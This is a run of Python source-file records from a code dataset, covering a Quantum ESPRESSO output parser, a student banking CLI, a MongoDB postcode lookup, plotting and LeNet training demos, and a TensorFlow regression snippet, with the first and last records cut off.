'574.0778', '574.0778', '574.2923'],\n ['29.3716', '30.0630', '70.4699', '568.0790', '569.7664', '569.9710'], ....]\n }\n \"\"\"\n modes_file = find_file(settings.PHONON_MODES_FILE, self.work_dir)\n qpoints, frequencies = self.phonon_frequencies(modes_file)\n return {\"qpoints\": qpoints.tolist(), \"frequencies\": frequencies.tolist()}\n\n def phonon_frequencies(self, modes_file):\n \"\"\"\n Extracts qpoints along the paths in Brillouin zone and the phonon frequencies at each qpoint.\n\n Example file:\n #\n q = 0.0000 0.0000 0.0000\n **************************************************************************\n freq ( 1) = -0.004399 [THz] = -0.146739 [cm-1]\n ( -0.366864 0.000000 0.211786 0.000000 0.265747 0.000000 )\n ( -0.367203 0.000000 0.211982 0.000000 0.264868 0.000000 )\n ( -0.367036 0.000000 0.211885 0.000000 0.265493 0.000000 )\n ( -0.367206 0.000000 0.211984 0.000000 0.264823 0.000000 )\n freq ( 2) = -0.004372 [THz] = -0.145845 [cm-1]\n ....\n ....\n **************************************************************************\n q = 0.0000 0.0000 0.1000\n **************************************************************************\n freq ( 1) = -0.004399 [THz] = -0.146739 [cm-1]\n ( -0.366864 0.000000 0.211786 0.000000 0.265747 0.000000 )\n ( -0.367203 0.000000 0.211982 0.000000 0.264868 0.000000 )\n ( -0.367036 0.000000 0.211885 0.000000 0.265493 0.000000 )\n ( -0.367206 0.000000 0.211984 0.000000 0.264823 0.000000 )\n freq ( 2) = -0.004372 [THz] = -0.145845 [cm-1]\n ....\n ....\n **************************************************************************\n\n Args:\n modes_file (str): path to modes file (normal_modes.out).\n\n Returns:\n tuple\n\n Example:\n ([\n [0.0000, 0.0000, 0.0000],\n [0.000, 0.0000, 0.1000]\n ],\n [\n [5.7429E+02, 5.7429E+02],\n [5.69970E+02, 5.69970E+02],\n .....,\n [4.5469E+02, 4.5469E+02]\n ])\n \"\"\"\n with open(modes_file, \"r\") as f:\n text = f.read()\n qpoints = np.array(re.compile(settings.REGEX[\"qpoints\"][\"regex\"]).findall(text), dtype=np.float32)\n frequencies = np.array(\n re.compile(settings.REGEX[\"phonon_frequencies\"][\"regex\"]).findall(text), dtype=np.float32\n )\n frequencies = np.transpose(frequencies.reshape(qpoints.shape[0], frequencies.shape[0] // qpoints.shape[0]))\n return qpoints, frequencies\n\n def reaction_coordinates(self, text):\n \"\"\"\n Extracts reaction coordinates from the first column of NEB dat file.\n\n Example input:\n 0.0000000000 0.0000000000 0.1145416373\n 0.1944842569 0.0341286086 0.0886712471\n 0.3625057164 0.1308566687 0.0995133799\n 0.4999390812 0.2030519699 0.0010169552\n 0.6383139128 0.1302022095 0.0385626296\n 0.8046562342 0.0345676488 0.0062796586\n 1.0000000000 0.0000000063 0.1146893883\n\n\n Returns:\n list[float]\n \"\"\"\n return self._general_output_parser(text, **settings.REGEX[\"reaction_coordinates\"])\n\n def reaction_energies(self, text):\n \"\"\"\n Extracts reaction energies from the second column of NEB dat file.\n\n Example input:\n 0.0000000000 0.0000000000 0.1145416373\n 0.1944842569 0.0341286086 0.0886712471\n 0.3625057164 0.1308566687 0.0995133799\n 0.4999390812 0.2030519699 0.0010169552\n 0.6383139128 0.1302022095 0.0385626296\n 0.8046562342 0.0345676488 0.0062796586\n 1.0000000000 0.0000000063 0.1146893883\n\n\n Returns:\n list[float]\n \"\"\"\n return self._general_output_parser(text, **settings.REGEX[\"reaction_energies\"])\n\n def potential_profile(self, text):\n \"\"\"\n Extracts potential (hartree, local, hartree+local) along z.\n\n Example input:\n #z (A) Tot chg (e/A) Avg v_hartree (eV) Avg v_local (eV) Avg v_hart+v_loc (eV)\n -4.89 2.3697 -6.5847438 6.4872255 -0.0975183\n -4.78 2.1422 -7.0900648 8.2828137 1.1927490\n -4.67 2.0006 -7.5601238 10.1322914 2.5721676\n -4.56 1.8954 -7.9743444 11.9417738 3.9674294\n -4.44 1.7923 -8.3174980 13.6185904 5.3010924\n -4.33 1.6879 -8.5750414 15.0903496 6.5153082\n -4.22 1.5891 -8.7323531 16.2665057 7.5341527\n -4.11 1.5036 -8.7756094 17.0759068 8.3002974\n -4.00 1.4383 -8.6928512 17.5243394 8.8314882\n -3.89 1.3984 -8.4749404 17.6353196 9.1603792\n\n Returns:\n list[list[float]]\n \"\"\"\n data = self._general_output_parser(text, **settings.REGEX[\"potential_profile\"])\n return [[e[i] for e in data] for i in range(4)]\n\n def charge_density_profile(self, text):\n \"\"\"\n Extracts total charge density along z.\n\n Example input:\n #z (A) Tot chg (e/A) Avg v_hartree (eV) Avg v_local (eV) Avg v_hart+v_loc (eV)\n -4.89 2.3697 -6.5847438 6.4872255 -0.0975183\n -4.78 2.1422 -7.0900648 8.2828137 1.1927490\n -4.67 2.0006 -7.5601238 10.1322914 2.5721676\n -4.56 1.8954 -7.9743444 11.9417738 3.9674294\n -4.44 1.7923 -8.3174980 13.6185904 5.3010924\n -4.33 1.6879 -8.5750414 15.0903496 6.5153082\n -4.22 1.5891 -8.7323531 16.2665057 7.5341527\n -4.11 1.5036 -8.7756094 17.0759068 8.3002974\n -4.00 1.4383 -8.6928512 17.5243394 8.8314882\n -3.89 1.3984 -8.4749404 17.6353196 9.1603792\n\n Returns:\n list[list[float]]\n \"\"\"\n data = self._general_output_parser(text, **settings.REGEX[\"charge_density_profile\"])\n return [[e[i] for e in data] for i in range(2)]\n\n def eigenvalues_at_kpoints_from_sternheimer_gw_stdout(self, text, inverse_reciprocal_lattice_vectors):\n \"\"\"\n Extracts eigenvalues for all kpoints from Sternheimer GW stdout file.\n\n Example input:\n\n LDA eigenval (eV) -5.60 6.25 6.25 6.25 8.69 8.69 8.69 9.37\n\n GWKpoint cart : 0.0000 0.0000 0.0000\n\n GWKpoint cryst: 0.0000 0.0000 0.0000\n GW qp energy (eV) -7.08 5.34 5.34 5.34 10.15 10.15 10.15 10.82\n Vxc expt val (eV) -10.09 -10.20 -10.20 -10.20 -9.85 -9.85 -9.85 -10.34\n Sigma_ex val (eV) -16.04 -15.82 -15.82 -15.82 -3.54 -3.54 -3.54 -4.03\n QP renorm 1.00 1.00 1.00 1.00 1.00 1.00 1.00 1.00\n\n Returns:\n list[]\n \"\"\"\n kpoints = self._general_output_parser(text, **settings.REGEX[\"sternheimer_gw_kpoint\"])\n eigenvalues = self._general_output_parser(text, **settings.REGEX[\"sternheimer_gw_eigenvalues\"])\n eigenvalues = [[float(x) for x in re.sub(\" +\", \" \", e).strip(\" \").split(\" \")] for e in eigenvalues]\n return [\n {\n \"kpoint\": np.dot(point, inverse_reciprocal_lattice_vectors).tolist(),\n \"weight\": 1.0 / len(kpoints), # uniformly set the weights as they are not extractable.\n \"eigenvalues\": [\n {\n \"energies\": eigenvalues[index],\n \"occupations\": [], # set occupations empty as they are not extractable.\n \"spin\": 0.5, # spin-polarized calculation is not supported yet, hence 0.5\n }\n ],\n }\n for index, point in enumerate(kpoints)\n ]\n\n def final_basis(self, text):\n \"\"\"\n Extracts final basis in angstrom units.\n \"\"\"\n atomic_position_last_index = text.rfind(\"ATOMIC_POSITIONS (crystal)\")\n if atomic_position_last_index < 0:\n return self.initial_basis(text)\n number_of_atoms = self._number_of_atoms(text)\n basis = self._extract_basis(text[atomic_position_last_index:], number_of_atoms)\n\n # final basis is in crystal units, hence it needs to be converted into angstrom.\n final_lattice_vectors = self.final_lattice_vectors(text)\n lattice_matrix = np.array([final_lattice_vectors[\"vectors\"][key] for key in [\"a\", \"b\", \"c\"]]).reshape((3, 3))\n for coordinate in basis[\"coordinates\"]:\n coordinate[\"value\"] = np.dot(coordinate[\"value\"], lattice_matrix).tolist()\n\n return basis\n\n def final_lattice_vectors(self, text):\n \"\"\"\n Extracts final lattice in angstrom units.\n \"\"\"\n cell_parameters_last_index = text.rfind(\"CELL_PARAMETERS (angstrom)\")\n if cell_parameters_last_index < 0:\n return self.initial_lattice_vectors(text)\n return self._extract_lattice(text[cell_parameters_last_index:])\n\n def average_quantity(self, stdout_file: str) -> np.ndarray:\n \"\"\"\n Extract planar and macroscopic averages of a quantity from the output of average.x (output file or avg.dat)\n The format is as follows:\n x p(x) m(x)\n whereby:\n x = coordinate (a.u) along direction idir\n x runs from 0 to the length of primitive vector idir\n p(x) = planar average, as defined above\n m(x) = macroscopic average, as defined above\n\n\n Example input:\n 0.000000000 0.265457609 0.265456764\n 0.017892431 0.265457604 0.265456756\n 0.035784862 0.265457529 0.265456749\n 0.053677293 0.265457391 0.265456743\n 0.071569724 0.265457202 0.265456738\n \"\"\"\n average_file = find_file(settings.AVERAGE_FILE, self.work_dir)\n # backup in case avg.dat doesn't exist\n if type(average_file) != str:\n average_file = find_file(stdout_file, self.work_dir)\n if type(average_file) == str and os.path.isfile(average_file):\n dtype = np.dtype([(\"x\", float), (\"planar_average\", float), (\"macroscopic_average\", float)])\n data = np.fromregex(average_file, settings.REGEX[\"average_quantity\"][\"regex\"], dtype)\n return data\n","sub_path":"express/parsers/apps/espresso/formats/txt.py","file_name":"txt.py","file_ext":"py","file_size_in_byte":32578,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"54"} +{"seq_id":"627187945","text":"from customer import Customer\nfrom BankAccount import BankAccount\nfrom CheckingAccount import CheckingAccount\nfrom SavingsAccount import SavingsAccount\nfrom account_manager import AccountManager\nfrom datetime import datetime, date\nfrom sqlalchemy import create_engine, Table, MetaData, select, func, alias \nimport re \n'''\nDriver program. Displays main menu. Customer needs to first be registered. Account manager can be assigned \nif necessary. One account manager is assigned per customer(randomly chosen). Multiple customers can \nbe assigned to the same manager. \nMultiple accounts can be created for the same customer. Existing accounts can be accessed for withdrawal,\ndeposit and checking balance.\n'''\nwhile True:\n print('\\n')\n print('WELCOME TO SPRINGBOARD BANKING SYSTEM!\\n')\n print('MAIN MENU :\\n')\n print('1. Customer Registration(enter 1)')\n print('2. Assign Account Manager(enter 2)')\n print('3. Account Creation/Access(enter 3)')\n print('4. Exit(enter 4)')\n option = input('\\nPlease input the number associated with the option : ') \n if(option == '1'):\n try:\n '''Customer details entry with data checks'''\n first_name = input('Enter first name(Letters or spaces only): ')\n if not all(c.isalpha() or c.isspace() for c in first_name):\n raise ValueError(\"Invalid character. Only letters and spaces are allowed in the first name.\")\n last_name = input('Enter last name(Letter, spaces or numbers only): ')\n if not all(c.isalpha() or c.isspace() or c.isdigit() for c in last_name):\n raise ValueError(\"Invalid character. Only letters, spaces and numbers are allowed in the last name.\") \n dob = input('Enter date of birth in the format YYYY-MM-DD: ')\n if dob != datetime.strptime(dob, '%Y-%m-%d').strftime('%Y-%m-%d'):\n raise ValueError(\"Incorrect format of date. Enter dob as YYYY-MM-DD\")\n if Customer.calculate_age(dob) < 18:\n raise ValueError(\"Underage candidate. Minimum age to create account is 18 years\")\n address_line1 = input('Enter Address line 1: ')\n address_line2 = input('Enter Address line 2: ')\n city = input('Enter City: ')\n state = input('Enter State: ')\n zipcode = input('Enter Zipcode: ')\n country = input('Enter Country: ')\n email = input('Enter email: ')\n if not (re.search('^[a-z0-9]+[\\._]?[a-z0-9]+[@]\\w+[.]\\w{2,3}$',email)): \n raise ValueError(\"Invalid email.\")\n phone = input('Enter Phone Number in the format XXX-XXX-XXXX: ')\n if not (re.search('\\d{3}-\\d{3}-\\d{4}',phone)): \n raise ValueError(\"Phone format is incorrect. Please enter in this format - XXX-XXX-XXXX\") \n ssn = input('Enter SSN in the format XXX-XX-XXXX: ')\n if not (re.search('\\d{3}-\\d{2}-\\d{4}',ssn)): \n raise ValueError(\"SSN format is incorrect. Please enter in this format - XXX-XX-XXXX\")\n cust = Customer( first_name, last_name, dob, address_line1, address_line2, city, state, zipcode, country, email, phone, ssn)\n cust.register_customer()\n #cust.first_name = '$$$$$'\n except ValueError as inst:\n print(inst.args[0]+'\\n\\nRETURNING TO MAIN MENU.')\n \n \n elif(option == '2'):\n '''Assignment of account manager for an existing customer. Managers are assigned at the customer\n level and not the account level'''\n email_id = input('Enter existing customer email: ')\n engine = create_engine('mysql+pymysql://root:croak@localhost/SpringBoardBankingSystem')\n connection = engine.connect()\n metadata = MetaData()\n customer = Table('Customer', metadata, autoload=True,autoload_with=engine)\n results = connection.execute(select([func.count().label('CountExistingEmail')]).where(customer.c.Email == email_id)).fetchall()\n if(results[0].CountExistingEmail == 0):\n print('Email id does not exist. Please enter registered email id or register the customer. \\n\\nRETURNING TO MAIN MENU.')\n continue\n else:\n try:\n acc_m = AccountManager()\n acc_m.assign_manager(email_id)\n except ValueError as inst:\n print(inst.args[0])\n \n elif(option == '3'):\n '''Bank account create/access/delete. Customer needs to be registered for any of these\n actions. Registered email needs to be available. Please note the account number on creation\n for future access.'''\n flg = 0\n email_id = input('Enter existing customer email: ')\n engine = create_engine('mysql+pymysql://root:croak@localhost/SpringBoardBankingSystem')\n connection = engine.connect()\n metadata = MetaData()\n customer = Table('Customer', metadata, autoload=True,autoload_with=engine)\n results = connection.execute(select([func.count().label('CountExistingEmail')]).where(customer.c.Email == email_id)).fetchall()\n if(results[0].CountExistingEmail == 0):\n print('Email id does not exist. Please enter registered email id or register the customer. Returning to Main Menu.')\n continue\n else:\n opt = int(input('\\nWhat would you like to do?\\n\\n1. Create new account : \\n2. Access existing account(for deposits, withdrawals, balance check) : \\n3. Delete an existing account : \\n\\nEnter option 1, 2 or 3: '))\n if (opt == 1):\n deposit = float(input('Enter initial deposit amount in dollars(Minumum amount is $' + str(BankAccount.MIN_BALANCE) + ') : '))\n while True:\n if deposit < BankAccount.MIN_BALANCE:\n print('Initial deposit lesser than the minimum amount required to start an account. Please deposit atleast $'+ str(BankAccount.MIN_BALANCE)+'.')\n cont = int(input('Would you like to re-enter the deposit amount(option 1) or return to main menu(option 2)[1/2] : '))\n if (cont == 1):\n deposit = float(input('Enter initial deposit amount in dollars(Minumum amount is $100): '))\n continue\n else:\n flg = 1\n break\n else:\n break \n if (flg == 1):\n continue\n \n cs = input('Do you want to open a checking[C] or savings[S] account? [C/S] : ').upper()\n if(cs == 'C'):\n ba = CheckingAccount(email_id, cs, deposit )\n elif(cs == 'S'):\n interest_rate = 0.015\n ba = SavingsAccount(email_id, interest_rate, cs, deposit)\n else:\n print('Incorrect entry.\\nRETURNING TO MAIN MENU.') \n continue\n cont = input('Do you want to deposit more into your current account?[Y/N] : ').upper()\n if (cont == 'Y'):\n dep = float(input('Enter the deposit amount in dollars: '))\n ba.deposit(dep)\n cont = input('Do you want to withdraw money from your current account?[Y/N] : ').upper()\n if (cont == 'Y'):\n withdraw = float(input('Enter withdrawal amount in dollars(Minumum balance is $' + str(BankAccount.MIN_BALANCE) + ') :'))\n try:\n ba.withdraw(withdraw)\n except ValueError as inst:\n print(inst.args[0]) \n cont = input('Do you want to see your current balance?[Y/N] : ')\n if (cont == 'Y'):\n print('Current balance is $ '+ str(ba.balance) + '.')\n elif (opt == 2):\n bank_acc = Table('bankaccount', metadata, autoload=True,autoload_with=engine)\n acc_ids = connection.execute(select([bank_acc.c.AccountId, bank_acc.c.Balance]).where(bank_acc.c.CustomerEmailId == email_id)).fetchall()\n if(len(acc_ids) == 0):\n print('This customer has no associated bank accounts. Please create a bank account. \\n\\nRETURNING TO MAIN MENU.')\n continue\n print('\\nThis is your list of accounts.\\n')\n acc = []\n for x in acc_ids:\n print(x[0])\n acc.append(x[0])\n acc_no = int(input('\\nEnter the account number you want to access : '))\n try:\n if acc_no not in acc:\n raise ValueError('Incorrect Account number.')\n except ValueError as inst:\n print(inst.args[0]+'\\n\\nRETURNING TO MAIN MENU.')\n continue\n\n for x in acc_ids:\n if (x[0] == acc_no):\n bal = x[1]\n cont = input('Do you want to deposit money into your current account?[Y/N] : ').upper()\n if (cont == 'Y'):\n dep = float(input('Enter the deposit amount in dollars: '))\n bank_acc = Table('bankaccount', metadata, autoload=True,autoload_with=engine)\n stmt = bank_acc.update().\\\n where(bank_acc.c.AccountId==acc_no).\\\n values(Balance=bal+dep)\n connection.execute(stmt) \n\n cont = input('Do you want to withdraw money from your current account?[Y/N] : ').upper()\n if (cont == 'Y'):\n acc_ids = connection.execute(select([bank_acc.c.AccountId, bank_acc.c.Balance, bank_acc.c.AccountType]).where(bank_acc.c.CustomerEmailId == email_id)).fetchall()\n for x in acc_ids:\n if (x[0] == acc_no):\n acc_type = x[2]\n bal = x[1]\n break\n withdraw = float(input('Enter withdrawal amount in dollars(Minumum balance is $' + str(BankAccount.MIN_BALANCE) + ') : '))\n if(acc_type == 'C'):\n new_bal = bal - (withdraw + CheckingAccount.WITHDRAW_FEE)\n if(new_bal >= BankAccount.MIN_BALANCE):\n balance = new_bal\n else:\n print('Withdrawal amount will lower the available balance below the minimum. Please enter a lower amount.')\n print('\\nRETURNING TO MAIN MENU.')\n continue\n elif(acc_type == 'S'):\n new_bal = bal - (withdraw + SavingsAccount.WITHDRAW_FEE) \n if(new_bal >= BankAccount.MIN_BALANCE):\n balance = new_bal\n else:\n print('Withdrawal amount will lower the available balance below the minimum. Please enter a lower amount.')\n print('\\nRETURNING TO MAIN MENU.')\n continue\n \n\n bank_acc = Table('bankaccount', metadata, autoload=True,autoload_with=engine)\n stmt = bank_acc.update().\\\n where(bank_acc.c.AccountId==acc_no).\\\n values(Balance=balance)\n connection.execute(stmt) \n \n \n cont = input('Do you want to see your current balance?[Y/N] : ').upper()\n if (cont == 'Y'):\n acc_ids = connection.execute(select([bank_acc.c.AccountId, bank_acc.c.Balance]).where(bank_acc.c.CustomerEmailId == email_id)).fetchall()\n for x in acc_ids:\n if (x[0] == acc_no):\n bal = x[1]\n break\n print('Current balance is $ '+ str(bal) + '.') \n elif (opt == 3):\n bank_acc = Table('bankaccount', metadata, autoload=True,autoload_with=engine)\n acc_ids = connection.execute(select([bank_acc.c.AccountId]).where(bank_acc.c.CustomerEmailId == email_id)).fetchall()\n print('This is your list of accounts.\\n')\n acc = []\n for x in acc_ids:\n print(x[0])\n acc.append(x[0]) \n acc_no = int(input('\\nPlease pick the account number of the account you want to delete : '))\n if acc_no not in acc:\n raise ValueError('Incorrect Account number.\\n\\nRETURNING TO MAIN MENU.')\n print('Deleting..')\n bank_acc = Table('bankaccount', metadata, autoload=True,autoload_with=engine)\n connection.execute(bank_acc.delete().where(bank_acc.c.AccountId == acc_no))\n print('Deleted!')\n\n else:\n print('Incorrect option entered.\\n\\nRETURNING TO MAIN MENU.')\n continue\n elif(option == '4'):\n print('Goodbye!')\n break\n\n else :\n print('Incorrect entry. Please select from options. Returning to Main Menu.')\n continue\n\n\n \n\n","sub_path":"driver.py","file_name":"driver.py","file_ext":"py","file_size_in_byte":13365,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"54"} +{"seq_id":"112411779","text":"from pymongo import Connection\nimport json\nimport time\n\ndef searchByPLZ(plz):\n startTime = time.time()\n keyPLZ = 'PLZ'\n keyCity = 'city'\n keyState = 'state'\n\n #Datenbank-Verbindung aufbauen\n mongoServer = Connection()['PLZDatabase']\n collection = mongoServer['PLZData']\n\n # Werte aus der Datenbank holen\n queryList = list(collection.find({keyPLZ: plz}))\n if(len(queryList) != 1):\n print(\"HOPPLA! Da ist wohl etwas schief gelaufen!\")\n else:\n result = queryList[0]\n city = result[keyCity]\n state = result[keyState]\n print(\"Zeit bis zur Rueckgabe der Werte: \" + str(time.time()-startTime) + \"s\")\n # gesammelten Werte zurueckgeben\n return (\"(Stadt) \" + city + \" (Staat) \" + state)\n\ndef searchByCity(city):\n startTime = time.time()\n keyPLZ = 'PLZ'\n keyCity = 'city'\n keyState = 'state'\n result = []\n\n #Datenbank-Verbindung aufbauen\n mongoServer = Connection()['PLZDatabase']\n collection = mongoServer['PLZData']\n \n #Eintraege suchen und die PLZs rausholen\n entries = list(collection.find({keyCity: city.upper()}))\n for entry in entries:\n result.append(entry[keyPLZ])\n\n print(\"Zeit bis zur Rueckgabe der Werte: \" + str(time.time()-startTime) + \"s\")\n # gesammelten Werte zurueckgeben\n return result\n\nif __name__ == \"__main__\":\n print(\"Dieses Stueck Haufen ermoeglicht Ihnen Dinge aus der lokalen Redis-Datenbank zu holen. Die KS-Industries wuenschen viel Vergnuegen auf dieser Reise der besonderen Art, geeignet fuer gross und kleinen. Sicherheitshinweis: Bitte ausserhalb der Reichweite von Kindern aufbewahren. Verschlucken moeglich!\")\n print(\"1 = Suche nach Stadt und Staat (PLZ benoetigt)\")\n print(\"2 = Suche nach PLZ (Stadt benoetigt)\")\n search_method = input(\"Bitte waehlen Sie: \")\n if(search_method == 1):\n print(\"Geht klar, also auf die einfache Variante....\")\n search_plz = raw_input(\"Na dann gib mal her das gute Stueck: \")\n print(\"Mein Geschenk an dich: \" + searchByPLZ(search_plz))\n else:\n print(\"Holla, du willst es wissen, ja?\")\n search_city = raw_input(\"Give it to me baby: \")\n search_result = searchByCity(search_city)\n if(search_result != []):\n print(\"Ich kann alles besorgen: \" + str(search_result))\n else:\n print(\"Sorry Boy, die Stadt gibt's hier nicht.\")\n","sub_path":"BigData/Aufgabe3/7bc_getData.py","file_name":"7bc_getData.py","file_ext":"py","file_size_in_byte":2387,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"54"} +{"seq_id":"600776448","text":"import matplotlib.pyplot as plt\nimport numpy as np\n\n\nfigure,axes = plt.subplots(2, 3, figsize=[40,20])\naxes = axes.flatten()\n\nx = np.arange(0, 20) \ny1 = pow(x, 2)\naxes[0].plot(x, y1) \naxes[0].set_xlabel(\"test\")\n\ny5 = pow(x, 3)\naxes[5].plot(x, y5) \n\nplt.show()\n\n","sub_path":"tools/py_matplotlib/6_subplots.py","file_name":"6_subplots.py","file_ext":"py","file_size_in_byte":261,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"54"} +{"seq_id":"118897546","text":"import numpy as np\nimport pandas as pd\nfrom sklearn.metrics import accuracy_score, confusion_matrix, classification_report\nimport matplotlib.pyplot as plt\nimport seaborn as sns\nimport copy\nimport time\nimport torch\nimport torch.nn as nn\nfrom torch.optim import Adam\nimport torch.utils.data as Data\nfrom torchvision import transforms\nfrom torchvision.datasets import FashionMNIST\n\n\nif __name__ == \"__main__\":\n # 使用fashionMiNist数据,准备训练集\n train_data = FashionMNIST(\n root=\"D:/SS/anacondaWork/pytorch/data/FashionMNIST\",\n train=True,\n transform=transforms.ToTensor(),\n download=False\n )\n\n # 定义一个数据加载器\n train_loader = Data.DataLoader(\n dataset=train_data,\n batch_size=64,\n shuffle=False, # 将shuffle设置为false,使得每个批次的训练中样本是固定的,这样有利于在训练中将数据切分为训练集和验证集\n num_workers=2\n )\n print(\"train_loader的batch数为:\", len(train_loader))\n\n # 获取一个批次的数据进行可视化\n for step, (b_x, b_y) in enumerate(train_loader):\n if step > 0:\n break\n # 可视化\n batch_x = b_x.squeeze().numpy() # 将维度为1的维度去除(图像的channel),即将(b,c, h, w)变为(b,h,w)\n batch_y = b_y.numpy() # batch_y 是数字数组\n print(batch_y)\n # print(batch_x)\n class_label = train_data.classes\n print(class_label)\n plt.figure(figsize=(30, 10))\n for ii in range(len(batch_y)):\n plt.subplot(4, 16, ii + 1)\n plt.imshow(batch_x[ii, :, :], cmap=plt.cm.gray)\n plt.title(class_label[batch_y[ii]], size=15)\n plt.axis(\"off\")\n # plt.subplots_adjust(wspace = 0.05)\n\n # 对测试集进行处理\n test_data = FashionMNIST(\n root=\"D:/SS/anacondaWork/pytorch/data/FashionMNIST\",\n train=False,\n download=False\n )\n\n test_data_x = test_data.data.type(torch.FloatTensor) / 255.0\n print(test_data_x.shape)\n test_data_x = torch.unsqueeze(test_data_x, dim=1)\n print(test_data_x.shape)\n test_data_y = test_data.targets\n test_data_y\n\n\n # 搭建一个卷积神经网络\n class ConvNet(nn.Module):\n def __init__(self):\n super(ConvNet, self).__init__()\n # 定义一个卷积层\n self.conv1 = nn.Sequential(\n nn.Conv2d(\n in_channels=1,\n out_channels=16,\n kernel_size=3,\n stride=1,\n padding=1,\n dilation=2\n ), # 1*28*28 -》 16*26*26\n nn.ReLU(),\n nn.AvgPool2d(\n kernel_size=2,\n stride=2\n )\n )\n # 定义第二个卷积层\n self.conv2 = nn.Sequential(\n nn.Conv2d( # 16*13*13 -》 32*9*9\n in_channels=16,\n out_channels=32,\n kernel_size=3,\n stride=1,\n padding=0,\n dilation=2\n ),\n nn.ReLU(),\n nn.MaxPool2d( # 32*9*9 -》 32*4*4\n kernel_size=2,\n stride=2\n )\n )\n # 定义全连接层\n self.fc = nn.Sequential(\n nn.Linear(\n in_features=32 * 4 * 4 ,\n out_features=256\n ),\n nn.ReLU(),\n nn.Linear(256, 128),\n nn.ReLU(),\n nn.Linear(128, 10),\n )\n\n # 定义网络的向前传播路径\n def forward(self, x):\n x = self.conv1(x)\n x = self.conv2(x)\n # print(x.shape)\n # print(x.size())\n # print(x.size(0))\n x = x.view(x.size(0), -1) # 展平多维的卷积图层,第一个参数为保留的维度【64,32,6,6】-》【64,32*6*6】\n x\n # print(x.shape)\n output = self.fc(x)\n return output\n\n\n MyLeNet_Dilated = ConvNet()\n print(MyLeNet_Dilated)\n\n\n # x = torch.randn(1,1,28,28, requires_grad=True)\n # ConvNet(x)\n\n # 定义网络的训练过程函数\n def train_model(model,traindataloader,train_rate,criterion,optimizer,num_epoch=2):\n # model:网络模型;traindataloader:训练数据集;train_rate:训练集中训练数据与验证数据百分比;\n # criterion:损失函数;optimizer:优化方法;num_epchs:训练轮数\n #计算训练使用的批次数\n batch_num = len(traindataloader)\n train_batch_num = round(batch_num * train_rate)\n # 复制模型的参数\n best_model_wts = copy.deepcopy(model.state_dict())\n best_acc = 0.0\n train_loss_all = []\n train_acc_all = []\n val_loss_all = []\n val_acc_all = []\n since = time.time()\n for epoch in range(num_epoch):\n print('Epoch {}/{}'.format(epoch, num_epoch-1))\n print('-'*10)\n #每个epoch有两个训练阶段\n train_loss = 0.0\n train_corrects = 0\n train_num = 0\n val_loss = 0.0\n val_corrects = 0\n val_num = 0\n for step, (b_x, b_y) in enumerate(traindataloader):\n # print(\"b-y:\", b_y.shape)\n if step best_acc:\n best_acc = val_acc_all[-1]\n best_model_wts = copy.deepcopy(model.state_dict())\n time_use = time.time() - since\n since = time.time()\n print(\"Train and val complete in {:.0f}m {:.0f}s\".format(time_use // 60, time_use % 60))\n # 使用最好的模型参数\n model.load_state_dict(best_model_wts)\n # 将每个epoch的训练损失和精度放到数据表中输出\n train_process = pd.DataFrame(\n data = {\"epoch\": range(num_epoch),\n \"train_loss_all\": train_loss_all,\n \"val_loss_all\": val_loss_all,\n \"train_acc_all\": train_acc_all,\n \"val_acc_all\": val_acc_all\n }\n )\n return model, train_process\n\n\n # 对模型进行训练\n optimizer = torch.optim.Adam(MyLeNet_Dilated.parameters(), lr=0.0003)\n criterion = nn.CrossEntropyLoss()\n # MyLeNet_Dilated_params = torch.load(\"D:/SS/anacondaWork/pytorch/model/LeNet5_Dilated_Drop_params.pkl\")\n # MyLeNet_Dilated.load_state_dict(MyLeNet_Dilated_params)\n MyLeNet5_Dilated, train_process = train_model(MyLeNet_Dilated, train_loader, 0.8, criterion, optimizer,\n num_epoch=2)\n\n\n def draw_history(train_process):\n plt.figure(figsize=(12, 4))\n plt.subplot(1, 2, 1)\n plt.plot(train_process.epoch, train_process.train_loss_all, \"ro-\", label=\"Train Loss\")\n plt.plot(train_process.epoch, train_process.val_loss_all, \"bs-\", label=\"Val Loss\")\n # plt.legend()\n plt.xlabel(\"epoch\")\n plt.ylabel(\"Loss\")\n plt.subplot(1, 2, 2)\n plt.plot(train_process.epoch, train_process.train_acc_all, \"ro-\", label=\"Train Acc\")\n plt.plot(train_process.epoch, train_process.val_acc_all, \"bs-\", label=\"Val Acc\")\n # plt.legend()\n plt.xlabel(\"epoch\")\n plt.ylabel(\"Acc\")\n plt.show()\n\n\n draw_history(train_process)\n\n # 可视化模型的训练过程\n # 不知怎么的出现pickle错误,所以使用保存参数\n # torch.save(myLenet5, \"../model/lenet5\")\n torch.save(MyLeNet5_Dilated.state_dict(), \"D:/SS/anacondaWork/pytorch/model/LeNet5_Drop_params.pkl\")\n\n # 使用测试集\n MyLeNet5_Dilated.eval()\n output = MyLeNet5_Dilated(test_data_x)\n pre_lab = torch.argmax(output, 1)\n acc = accuracy_score(pre_lab, test_data_y)\n print(\"在测试集上的准确率为:\", acc)\n\n # 计算混淆矩阵并可视化\n conf_mat = confusion_matrix(test_data_y, pre_lab)\n df_cm = pd.DataFrame(conf_mat, index=class_label, columns=class_label)\n heatmap = sns.heatmap(df_cm, annot=True, fmt=\"d\", cmap=\"YlGnBu\")\n heatmap.yaxis.set_ticklabels(heatmap.yaxis.get_ticklabels(),\n rotation=0, ha=\"right\")\n plt.ylabel(\"True label\")\n plt.xlabel(\"Predicted label\")\n plt.show()","sub_path":"LeNet5_Dilated.py","file_name":"LeNet5_Dilated.py","file_ext":"py","file_size_in_byte":10629,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"54"} +{"seq_id":"583279599","text":"import tensorflow as tf\n\ndef linear_regression1():\n x_data = [1., 2., 3.]\n y_data = [1., 2., 3.]\n \n # try to find values for w and b that compute y_data = W * x_data + b\n W = tf.Variable(tf.random_uniform([1], -1.0, 1.0))\n b = tf.Variable(tf.random_uniform([1], -1.0, 1.0))\n \n # my hypothesis\n hypothesis = W * x_data + b\n \n # Simplified cost function\n cost = tf.reduce_mean(tf.square(hypothesis - y_data))\n \n # minimize\n rate = tf.Variable(0.1) # learning rate, alpha\n optimizer = tf.train.GradientDescentOptimizer(rate)\n train = optimizer.minimize(cost)\n \n # before starting, initialize the variables. We will 'run' this first.\n init = tf.initialize_all_variables()\n \n # launch the graph\n sess = tf.Session()\n sess.run(init)\n \n # fit the line\n for step in range(2001):\n sess.run(train)\n if step % 20 == 0:\n print('{:4} 